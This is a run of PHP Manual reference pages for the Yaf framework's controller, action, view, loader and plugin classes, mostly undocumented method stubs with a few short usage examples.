This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::getResponse
Yaf_Controller_Abstract::getViewpath
Yaf_Controller_Abstract


The getViewpath purpose

Yaf_Controller_Abstract::getView
Yaf_Controller_Abstract::initView
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::getViewpath

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::getViewpath — The getViewpath purpose

Description

final public void Yaf_Controller_Abstract::getViewpath ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::getView
Yaf_Controller_Abstract::initView
Yaf_Controller_Abstract


The initView purpose

Yaf_Controller_Abstract::getViewpath
Yaf_Controller_Abstract::redirect
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::initView

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::initView — The initView purpose

Description

final public void Yaf_Controller_Abstract::initView ([ array $options ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

options

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::getViewpath
Yaf_Controller_Abstract::redirect
Yaf_Controller_Abstract


The redirect purpose

Yaf_Controller_Abstract::initView
Yaf_Controller_Abstract::render
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::redirect

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::redirect — The redirect purpose

Description

final public void Yaf_Controller_Abstract::redirect ( string $url )

Warning

This function is currently not documented; only its argument list is available.

Parameters

url

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::initView
Yaf_Controller_Abstract::render
Yaf_Controller_Abstract


The render purpose

Yaf_Controller_Abstract::redirect
Yaf_Controller_Abstract::setViewpath
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::render

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::render — The render purpose

Description

final protected void Yaf_Controller_Abstract::render ( string $tpl [, array $parameters ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

tpl

parameters

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::redirect
Yaf_Controller_Abstract::setViewpath
Yaf_Controller_Abstract


The setViewpath purpose

Yaf_Controller_Abstract::render
Yaf_Action_Abstract
Yaf_Controller_Abstract
PHP Manual

Yaf_Controller_Abstract::setViewpath

(PECL yaf >=1.0.0)

Yaf_Controller_Abstract::setViewpath — The setViewpath purpose

Description

final public void Yaf_Controller_Abstract::setViewpath ( string $view_directory )

Warning

This function is currently not documented; only its argument list is available.

Parameters

view_directory

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::render
Yaf_Action_Abstract
Yaf_Controller_Abstract


The Yaf_Action_Abstract class

(No version information available, might only be in SVN)

Introduction

A action can be defined in a separate file in Yaf(see Yaf_Controller_Abstract). that is a action method can also be a Yaf_Action_Abstract class.

Since there should be a entry point which can be called by Yaf (as of PHP 5.3, there is a new magic method __invoke, but Yaf is not only works with PHP 5.3+, Yaf choose another magic method execute), you must implement the abstract method Yaf_Action_Abstract::execute() in your custom action class.

Class synopsis

Yaf_Action_Abstract extends Yaf_Controller_Abstract {
/* Properties */
protected $_controller ;
/* Methods */
abstract publicmixed execute ([ mixed $arg [, mixed $... ]] )
publicYaf_Controller_Abstract getController ( void )
/* Inherited methods */
final private void Yaf_Controller_Abstract::__clone ( void )
final private Yaf_Controller_Abstract::__construct ( void )
final protected void Yaf_Controller_Abstract::display ( string $tpl [, array $parameters ] )
final public void Yaf_Controller_Abstract::forward ( string $module [, string $controller [, string $action [, array $paramters ]]] )
final public void Yaf_Controller_Abstract::getInvokeArg ( string $name )
final public void Yaf_Controller_Abstract::getInvokeArgs ( void )
final public void Yaf_Controller_Abstract::getModuleName ( void )
final public void Yaf_Controller_Abstract::getRequest ( void )
final public void Yaf_Controller_Abstract::getResponse ( void )
final public void Yaf_Controller_Abstract::getView ( void )
final public void Yaf_Controller_Abstract::getViewpath ( void )
final public void Yaf_Controller_Abstract::initView ([ array $options ] )
final public void Yaf_Controller_Abstract::redirect ( string $url )
final protected void Yaf_Controller_Abstract::render ( string $tpl [, array $parameters ] )
final public void Yaf_Controller_Abstract::setViewpath ( string $view_directory )
}

Properties

_module

_name

_request

_response

_invoke_args

_view

_controller

Table of Contents

  • Yaf_Action_Abstract::execute — Execute the action
  • Yaf_Action_Abstract::getController — get controller instance

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Controller_Abstract::setViewpath
Yaf_Action_Abstract::execute
Yaf


Execute the action

Yaf_Action_Abstract
Yaf_Action_Abstract::getController
Yaf_Action_Abstract
PHP Manual

Yaf_Action_Abstract::execute

(PECL yaf >=1.0.0)

Yaf_Action_Abstract::execute — Execute the action

Description

abstract publicmixed Yaf_Action_Abstract::execute ([ mixed $arg [, mixed $... ]] )

Yaf_Action_Abstract::execute() may have agruments.

Note:

The value retrived from the request is not safe. you should do some filtering work before you use it.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

Examples

Example #1 Yaf_Action_Abstract::execute()example

<?php
/**
 * A controller example
 */
class ProductController extends Yaf_Controller_Abstract {
      protected $actions = array(
          "index" => "actions/Index.php",
      );
}
?>

Example #2 Yaf_Action_Abstract::execute()example

<?php
/**
 * ListAction
 */
class ListAction extends Yaf_Action_Abstract {
     public function execute ($name, $id) {
         assert($name == $this->getRequest()->getParam("name"));
         assert($id   == $this->getRequest()->getParam("id"));
     }
}
?>

The above example will output something similar to:

/**
 * Now assuming we are using the Yaf_Route_Static route
 * for request: http://yourdomain/product/list/name/yaf/id/22
 * will result:
 */
 bool(true)
 bool(true)

See Also

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Action_Abstract
Yaf_Action_Abstract::getController
Yaf_Action_Abstract


get controller instance

Yaf_Action_Abstract::execute
Yaf_View_Interface
Yaf_Action_Abstract
PHP Manual

Yaf_Action_Abstract::getController

(PECL yaf >=1.0.0)

Yaf_Action_Abstract::getController — get controller instance

Description

publicYaf_Controller_Abstract Yaf_Action_Abstract::getController ( void )

Retrive the controller object.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Action_Abstract::execute
Yaf_View_Interface
Yaf_Action_Abstract


The Yaf_View_Interface class

(No version information available, might only be in SVN)

Introduction

Yaf provides a ability for developers to use coustom view engine instead of build-in engine which is Yaf_View_Simple. There is a example to explain how to do this, please see Yaf_Dispatcher::setView().

Class synopsis

Yaf_View_Interface {
/* Methods */
abstract public bool assign ( string $name [, string $value ] )
abstract public bool display ( string $tpl [, array $tpl_vars ] )
abstract public void getScriptPath ( void )
abstract public string render ( string $tpl [, array $tpl_vars ] )
abstract public void setScriptPath ( string $template_dir )
}

Table of Contents

  • Yaf_View_Interface::assign — Assign value to View engine
  • Yaf_View_Interface::display — Render and output a template
  • Yaf_View_Interface::getScriptPath — The getScriptPath purpose
  • Yaf_View_Interface::render — Render a template
  • Yaf_View_Interface::setScriptPath — The setScriptPath purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Action_Abstract::getController
Yaf_View_Interface::assign
Yaf


Assign value to View engine

Yaf_View_Interface
Yaf_View_Interface::display
Yaf_View_Interface
PHP Manual

Yaf_View_Interface::assign

(PECL yaf >=1.0.0)

Yaf_View_Interface::assign — Assign value to View engine

Description

abstract public bool Yaf_View_Interface::assign ( string $name [, string $value ] )

Assigan values to View engine, then the value can access directly by name in template.

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Interface
Yaf_View_Interface::display
Yaf_View_Interface


Render and output a template

Yaf_View_Interface::assign
Yaf_View_Interface::getScriptPath
Yaf_View_Interface
PHP Manual

Yaf_View_Interface::display

(PECL yaf >=1.0.0)

Yaf_View_Interface::display — Render and output a template

Description

abstract public bool Yaf_View_Interface::display ( string $tpl [, array $tpl_vars ] )

Render a template and output the result immediatly.

Warning

This function is currently not documented; only its argument list is available.

Parameters

tpl

tpl_vars

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Interface::assign
Yaf_View_Interface::getScriptPath
Yaf_View_Interface


The getScriptPath purpose

Yaf_View_Interface::display
Yaf_View_Interface::render
Yaf_View_Interface
PHP Manual

Yaf_View_Interface::getScriptPath

(PECL yaf >=1.0.0)

Yaf_View_Interface::getScriptPath — The getScriptPath purpose

Description

abstract public void Yaf_View_Interface::getScriptPath ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Interface::display
Yaf_View_Interface::render
Yaf_View_Interface


Render a template

Yaf_View_Interface::getScriptPath
Yaf_View_Interface::setScriptPath
Yaf_View_Interface
PHP Manual

Yaf_View_Interface::render

(PECL yaf >=1.0.0)

Yaf_View_Interface::render — Render a template

Description

abstract public string Yaf_View_Interface::render ( string $tpl [, array $tpl_vars ] )

Render a template and return the result.

Warning

This function is currently not documented; only its argument list is available.

Parameters

tpl

tpl_vars

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Interface::getScriptPath
Yaf_View_Interface::setScriptPath
Yaf_View_Interface


The setScriptPath purpose

Yaf_View_Interface::render
Yaf_View_Simple
Yaf_View_Interface
PHP Manual

Yaf_View_Interface::setScriptPath

(PECL yaf >=1.0.0)

Yaf_View_Interface::setScriptPath — The setScriptPath purpose

Description

abstract public void Yaf_View_Interface::setScriptPath ( string $template_dir )

Set the templates base directory, this is usually called by Yaf_Dispatcher

Warning

This function is currently not documented; only its argument list is available.

Parameters

template_dir

A absolute path to the template directory, by default, Yaf_Dispatcher use application.directory . "/views" as this paramter.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Interface::render
Yaf_View_Simple
Yaf_View_Interface


The Yaf_View_Simple class

(No version information available, might only be in SVN)

Introduction

Yaf_View_Simple is the built-in template engine in Yaf, it is a simple but fast template engine, and only support PHP script template.

Class synopsis

Yaf_View_Simple implements Yaf_View_Interface {
/* Properties */
protected $_tpl_vars ;
protected $_tpl_dir ;
/* Methods */
public bool assign ( string $name [, mixed $value ] )
public bool assignRef ( string $name , mixed &$value )
public __construct ( string $tempalte_dir [, array $options ] )
public bool display ( string $tpl [, array $tpl_vars ] )
public void __get ( string $name )
public string getScriptPath ( void )
public void __isset ( string $name )
public string render ( string $tpl [, array $tpl_vars ] )
public void __set ( string $name , mixed $value )
public bool setScriptPath ( string $template_dir )
}

Properties

_tpl_vars

_tpl_dir

Table of Contents

  • Yaf_View_Simple::assign — Assign values
  • Yaf_View_Simple::assignRef — The assignRef purpose
  • Yaf_View_Simple::__construct — The __construct purpose
  • Yaf_View_Simple::display — Render and dispaly
  • Yaf_View_Simple::__get — The __get purpose
  • Yaf_View_Simple::getScriptPath — Get template base directory
  • Yaf_View_Simple::__isset — The __isset purpose
  • Yaf_View_Simple::render — Render template
  • Yaf_View_Simple::__set — Set value to engine
  • Yaf_View_Simple::setScriptPath — Set tempalte base directory

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Interface::setScriptPath
Yaf_View_Simple::assign
Yaf


Assign values

Yaf_View_Simple
Yaf_View_Simple::assignRef
Yaf_View_Simple
PHP Manual

Yaf_View_Simple::assign

(PECL yaf >=1.0.0)

Yaf_View_Simple::assign — Assign values

Description

public bool Yaf_View_Simple::assign ( string $name [, mixed $value ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

A string or an array.

if is string, then the next argument $value is required.

value

mixed value

Return Values

Examples

Example #1 Yaf_View_Simple::assign()example

<?php
class IndexController extends Yaf_Controller_Abstract {
    public function indexAction() {
        $this->getView()->assign("foo", "bar");
        $this->_view->assign( array( "key" => "value", "name" => "value"));
    }
?>

Example #2 template()example

<html>
 <head>
  <title><?php echo $foo; ?></title>
 </head>
<body>
  <?php
    foreach ($this->_tpl_vars as $name => value) {
         echo $$name; // or echo $this->_tpl_vars[$name];
    }
  ?>
</body>
</html>

See Also

  • Yaf_View_Simple::assignRef() - The assignRef purpose
  • Yaf_View_Interface::assign() - Assign value to View engine
  • Yaf_View_Simple::__set() - Set value to engine

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Simple
Yaf_View_Simple::assignRef
Yaf_View_Simple


The assignRef purpose

Yaf_View_Simple::assign
Yaf_View_Simple::__construct
Yaf_View_Simple
PHP Manual

Yaf_View_Simple::assignRef

(PECL yaf >=1.0.0)

Yaf_View_Simple::assignRef — The assignRef purpose

Description

public bool Yaf_View_Simple::assignRef ( string $name , mixed &$value )

unlike Yaf_View_Simple::assign(), this method assign a ref value to engine.

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

A string name which will be used to access the value in the tempalte.

value

mixed value

Return Values

Examples

Example #1 Yaf_View_Simple::assignRef()example

<?php
class IndexController extends Yaf_Controller_Abstract {
    public function indexAction() {
        $value = "bar";
        $this->getView()->assign("foo", $value);

        /* plz note that there was a bug before Yaf 2.1.4,
         * which make following output "bar";
         */
        $dummy = $this->getView()->render("index/index.phtml");
        echo $value;

        //prevent the auto-render
        Yaf_Dispatcher::getInstance()->autoRender(FALSE);
    }
?>

Example #2 template()example

<html>
 <head>
  <title><?php echo $foo;  $foo = "changed"; ?></title>
 </head>
<body>
</body>
</html>

The above example will output something similar to:

/* access the index controller will result: */
changed

See Also

  • Yaf_View_Simple::assign() - Assign values
  • Yaf_View_Simple::__set() - Set value to engine

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Simple::assign
Yaf_View_Simple::__construct
Yaf_View_Simple


The __construct purpose

Yaf_View_Simple::assignRef
Yaf_View_Simple::display
Yaf_View_Simple
PHP Manual

Yaf_View_Simple::__construct

(PECL yaf >=1.0.0)

Yaf_View_Simple::__construct — The __construct purpose

Description

public Yaf_View_Simple::__construct ( string $tempalte_dir [, array $options ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

tempalte_dir

The base directory of the templates, by default, it is APPLICATOIN . "/views" for Yaf.

options

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Simple::assignRef
Yaf_View_Simple::display
Yaf_View_Simple


Render and dispaly

Yaf_View_Simple::__construct
Yaf_View_Simple::__get
Yaf_View_Simple
PHP Manual

Yaf_View_Simple::display

(PECL yaf >=1.0.0)

Yaf_View_Simple::display — Render and dispaly

Description

public bool Yaf_View_Simple::display ( string $tpl [, array $tpl_vars ] )

Render a template and dispaly the result instantly.

Warning

This function is currently not documented; only its argument list is available.

Parameters

tpl

tpl_vars

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Simple::__construct
Yaf_View_Simple::__get
Yaf_View_Simple


The __get purpose

Yaf_View_Simple::display
Yaf_View_Simple::getScriptPath
Yaf_View_Simple
PHP Manual

Yaf_View_Simple::__get

(PECL yaf >=1.0.0)

Yaf_View_Simple::__get — The __get purpose

Description

public void Yaf_View_Simple::__get ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Simple::display
Yaf_View_Simple::getScriptPath
Yaf_View_Simple


Get template base directory

Yaf_View_Simple::__get
Yaf_View_Simple::__isset
Yaf_View_Simple
PHP Manual

Yaf_View_Simple::getScriptPath

(PECL yaf >=1.0.0)

Yaf_View_Simple::getScriptPath — Get template base directory

Description

public string Yaf_View_Simple::getScriptPath ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Simple::__get
Yaf_View_Simple::__isset
Yaf_View_Simple


The __isset purpose

Yaf_View_Simple::getScriptPath
Yaf_View_Simple::render
Yaf_View_Simple
PHP Manual

Yaf_View_Simple::__isset

(PECL yaf >=1.0.0)

Yaf_View_Simple::__isset — The __isset purpose

Description

public void Yaf_View_Simple::__isset ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Simple::getScriptPath
Yaf_View_Simple::render
Yaf_View_Simple


Render template

Yaf_View_Simple::__isset
Yaf_View_Simple::__set
Yaf_View_Simple
PHP Manual

Yaf_View_Simple::render

(PECL yaf >=1.0.0)

Yaf_View_Simple::render — Render template

Description

public string Yaf_View_Simple::render ( string $tpl [, array $tpl_vars ] )

Render a tempalte and return the result.

Warning

This function is currently not documented; only its argument list is available.

Parameters

tpl

tpl_vars

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Simple::__isset
Yaf_View_Simple::__set
Yaf_View_Simple


Set value to engine

Yaf_View_Simple::render
Yaf_View_Simple::setScriptPath
Yaf_View_Simple
PHP Manual

Yaf_View_Simple::__set

(PECL yaf >=1.0.0)

Yaf_View_Simple::__set — Set value to engine

Description

public void Yaf_View_Simple::__set ( string $name , mixed $value )

This is a easier way to instead of Yaf_View_Simple::assign().

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

A string value name.

value

Mixed value.

Return Values

Examples

Example #1 Yaf_View_Simple::__set()example

<?php
class IndexController extends Yaf_Controller_Abstract {
    public function indexAction() {
        $this->getView()->foo = "bar"; // same as assign("foo", "bar");
    }
?>

See Also

  • Yaf_View_Simple::assignRef() - The assignRef purpose
  • Yaf_View_Interface::assign() - Assign value to View engine

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Simple::render
Yaf_View_Simple::setScriptPath
Yaf_View_Simple


Set tempalte base directory

Yaf_View_Simple::__set
Yaf_Loader
Yaf_View_Simple
PHP Manual

Yaf_View_Simple::setScriptPath

(PECL yaf >=1.0.0)

Yaf_View_Simple::setScriptPath — Set tempalte base directory

Description

public bool Yaf_View_Simple::setScriptPath ( string $template_dir )

Warning

This function is currently not documented; only its argument list is available.

Parameters

template_dir

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Simple::__set
Yaf_Loader
Yaf_View_Simple


The Yaf_Loader class

(No version information available, might only be in SVN)

Introduction

Yaf_Loader introduces a comprehensive autoloading solution for Yaf.

The first time an instance of Yaf_Application is retrieved, Yaf_Loader will instance a singleton, and registers itself with spl_autoload. You retrieve an instance using the Yaf_Loader::getInstance()

Yaf_Loader attempt to load a class only one shot, if failed, depend on yaf.use_spl_auload, if this config is On Yaf_Loader::autoload() will return FALSE, thus give the chance to other autoload function. if it is Off (by default), Yaf_Loader::autoload() will return TRUE, and more important is that a very usefull warning will be triggerd (very usefull to find out why a class could not be loaded).

Note:

Please keep yaf.use_spl_autoload Off unless there is some library have their own autoload mechanism and impossible to rewrite it.

By default, Yaf_Loader assume all library (class defined script) store in the global library directory, which is defined in the php.ini(yaf.library).

If you want Yaf_Loader search some classes(libraries) in the local class directory(which is defined in application.ini, and by default, it is application.directory . "/libraray"), you should register the class prefix using the Yaf_Loader::registerLocalNameSpace()

Let's see some examples(assuming APPLICATION_PATH is application.directory):

Example #1 Config example

// Assuming the following configure in php.ini:
yaf.libraray = "/global_dir"

//Assuming the following configure in application.ini
application.libraray = APPLICATION_PATH "/library"
Assuming the following local name space registerd:

Example #2 Register localnamespace

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract{
     public function _initLoader($dispatcher) {
          Yaf_Loader::getInstance()->registerLocalNameSpace(array("Foo", "Bar"));
     }
?>
Then the autoload examples:

Example #3 Load class example

class Foo_Bar_Test =>
  // APPLICATION_PATH/library/Foo/Bar/Test.php

class GLO_Name  =>
  // /global_dir/Glo/Name.php

class BarNon_Test
  // /global_dir/Barnon/Test.php
As of PHP 5.3, you can use namespace:

Example #4 Load namespace class example

class \Foo\Bar\Dummy =>
   // APPLICATION_PATH/library/Foo/Bar/Dummy.php

class \FooBar\Bar\Dummy =>
   // /global_dir/FooBar/Bar/Dummy.php

You may noticed that all the folder wth the first letter capitalized, you can make them lowercase by set yaf.lowcase_path = On in php.ini

Yaf_Loader is also designed to load the MVC classes, and the rule is:

Example #5 MVC class loading example

Controller Classes =>
// APPLICATION_PATH/controllers/

Model Classes =>
// APPLICATION_PATH/models/

Plugin Classes =>
// APPLICATION_PATH/plugins/
Yaf identify a class's suffix(this is by default, you can also change to the prefix by change the configure yaf.name_suffix) to decide whether it is a MVC class:

Example #6 MVC class distinctions

Controller Classes =>
    // ***Controller

Model Classes =>
    // ***Model

Plugin Classes =>
    // ***Plugin
some examples:

Example #7 MVC loading example

class IndexController
    // APPLICATION_PATH/controllers/Index.php

class DataModel =>
   // APPLICATION_PATH/models/Data.php

class DummyPlugin =>
  // APPLICATION_PATH/plugins/Dummy.php

class A_B_TestModel =>
  // APPLICATION_PATH/models/A/B/Test.php
also, the directory will be affected by yaf.lowcase_path.

Class synopsis

Yaf_Loader {
/* Properties */
protected $_local_ns ;
protected $_library ;
protected $_global_library ;
static $_instance ;
/* Methods */
public void autoload ( void )
public void clearLocalNamespace ( void )
private void __clone ( void )
public __construct ( void )
public static void getInstance ( void )
public Yaf_Loader getLibraryPath ([ bool $is_global = false ] )
public void getLocalNamespace ( void )
public static void import ( void )
public void isLocalName ( void )
public void registerLocalNamespace ( void )
public Yaf_Loader setLibraryPath ( string $directory [, bool $is_global = false ] )
private void __sleep ( void )
private void __wakeup ( void )
}

Properties

_local_ns

_library

By default, this value is application.directory . "/library", you can change this either in the application.ini(application.library) or call to Yaf_Loader::setLibraryPath()

_global_library

_instance

Table of Contents

  • Yaf_Loader::autoload — The autoload purpose
  • Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose
  • Yaf_Loader::__clone — The __clone purpose
  • Yaf_Loader::__construct — The __construct purpose
  • Yaf_Loader::getInstance — The getInstance purpose
  • Yaf_Loader::getLibraryPath — get the library path
  • Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose
  • Yaf_Loader::import — The import purpose
  • Yaf_Loader::isLocalName — The isLocalName purpose
  • Yaf_Loader::registerLocalNamespace — The registerLocalNamespace purpose
  • Yaf_Loader::setLibraryPath — Change the library path
  • Yaf_Loader::__sleep — The __sleep purpose
  • Yaf_Loader::__wakeup — The __wakeup purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_View_Simple::setScriptPath
Yaf_Loader::autoload
Yaf


The autoload purpose

Yaf_Loader
Yaf_Loader::clearLocalNamespace
Yaf_Loader
PHP Manual

Yaf_Loader::autoload

(PECL yaf >=1.0.0)

Yaf_Loader::autoload — The autoload purpose

Description

public void Yaf_Loader::autoload ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader
Yaf_Loader::clearLocalNamespace
Yaf_Loader


The clearLocalNamespace purpose

Yaf_Loader::autoload
Yaf_Loader::__clone
Yaf_Loader
PHP Manual

Yaf_Loader::clearLocalNamespace

(PECL yaf >=1.0.0)

Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose

Description

public void Yaf_Loader::clearLocalNamespace ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::autoload
Yaf_Loader::__clone
Yaf_Loader


The __clone purpose

Yaf_Loader::clearLocalNamespace
Yaf_Loader::__construct
Yaf_Loader
PHP Manual

Yaf_Loader::__clone

(PECL yaf >=1.0.0)

Yaf_Loader::__clone — The __clone purpose

Description

private void Yaf_Loader::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::clearLocalNamespace
Yaf_Loader::__construct
Yaf_Loader


The __construct purpose

Yaf_Loader::__clone
Yaf_Loader::getInstance
Yaf_Loader
PHP Manual

Yaf_Loader::__construct

(PECL yaf >=1.0.0)

Yaf_Loader::__construct — The __construct purpose

Description

public Yaf_Loader::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::__clone
Yaf_Loader::getInstance
Yaf_Loader


The getInstance purpose

Yaf_Loader::__construct
Yaf_Loader::getLibraryPath
Yaf_Loader
PHP Manual

Yaf_Loader::getInstance

(PECL yaf >=1.0.0)

Yaf_Loader::getInstance — The getInstance purpose

Description

public static void Yaf_Loader::getInstance ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::__construct
Yaf_Loader::getLibraryPath
Yaf_Loader


get the library path

Yaf_Loader::getInstance
Yaf_Loader::getLocalNamespace
Yaf_Loader
PHP Manual

Yaf_Loader::getLibraryPath

(PECL yaf >=2.1.4)

Yaf_Loader::getLibraryPath — get the library path

Description

public Yaf_Loader Yaf_Loader::getLibraryPath ([ bool $is_global = false ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::getInstance
Yaf_Loader::getLocalNamespace
Yaf_Loader


The getLocalNamespace purpose

Yaf_Loader::getLibraryPath
Yaf_Loader::import
Yaf_Loader
PHP Manual

Yaf_Loader::getLocalNamespace

(PECL yaf >=1.0.0)

Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose

Description

public void Yaf_Loader::getLocalNamespace ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::getLibraryPath
Yaf_Loader::import
Yaf_Loader


The import purpose

Yaf_Loader::getLocalNamespace
Yaf_Loader::isLocalName
Yaf_Loader
PHP Manual

Yaf_Loader::import

(PECL yaf >=1.0.0)

Yaf_Loader::import — The import purpose

Description

public static void Yaf_Loader::import ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::getLocalNamespace
Yaf_Loader::isLocalName
Yaf_Loader


The isLocalName purpose

Yaf_Loader::import
Yaf_Loader::registerLocalNamespace
Yaf_Loader
PHP Manual

Yaf_Loader::isLocalName

(PECL yaf >=1.0.0)

Yaf_Loader::isLocalName — The isLocalName purpose

Description

public void Yaf_Loader::isLocalName ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::import
Yaf_Loader::registerLocalNamespace
Yaf_Loader


The registerLocalNamespace purpose

Yaf_Loader::isLocalName
Yaf_Loader::setLibraryPath
Yaf_Loader
PHP Manual

Yaf_Loader::registerLocalNamespace

(PECL yaf >=1.0.0)

Yaf_Loader::registerLocalNamespace — The registerLocalNamespace purpose

Description

public void Yaf_Loader::registerLocalNamespace ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::isLocalName
Yaf_Loader::setLibraryPath
Yaf_Loader


Change the library path

Yaf_Loader::registerLocalNamespace
Yaf_Loader::__sleep
Yaf_Loader
PHP Manual

Yaf_Loader::setLibraryPath

(PECL yaf >=2.1.4)

Yaf_Loader::setLibraryPath — Change the library path

Description

public Yaf_Loader Yaf_Loader::setLibraryPath ( string $directory [, bool $is_global = false ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::registerLocalNamespace
Yaf_Loader::__sleep
Yaf_Loader


The __sleep purpose

Yaf_Loader::setLibraryPath
Yaf_Loader::__wakeup
Yaf_Loader
PHP Manual

Yaf_Loader::__sleep

(PECL yaf >=1.0.0)

Yaf_Loader::__sleep — The __sleep purpose

Description

private void Yaf_Loader::__sleep ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::setLibraryPath
Yaf_Loader::__wakeup
Yaf_Loader


The __wakeup purpose

Yaf_Loader::__sleep
Yaf_Plugin_Abstract
Yaf_Loader
PHP Manual

Yaf_Loader::__wakeup

(PECL yaf >=1.0.0)

Yaf_Loader::__wakeup — The __wakeup purpose

Description

private void Yaf_Loader::__wakeup ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::__sleep
Yaf_Plugin_Abstract
Yaf_Loader


The Yaf_Plugin_Abstract class

(No version information available, might only be in SVN)

Introduction

Plugins allow for easy extensibility and customization of the framework.

Plugins are classes. The actual class definition will vary based on the component -- you may need to implement this interface, but the fact remains that the plugin is itself a class.

A plugin could be loaded into Yaf by using Yaf_Dispatcher::registerPlugin(), after registerd, All the methods which the plugin implemented according to this interface, will be called at the proper time.

Class synopsis

Yaf_Plugin_Abstract {
/* Methods */
public void dispatchLoopShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void dispatchLoopStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void postDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void preDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void preResponse ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void routerShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
public void routerStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )
}

Table of Contents

  • Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose
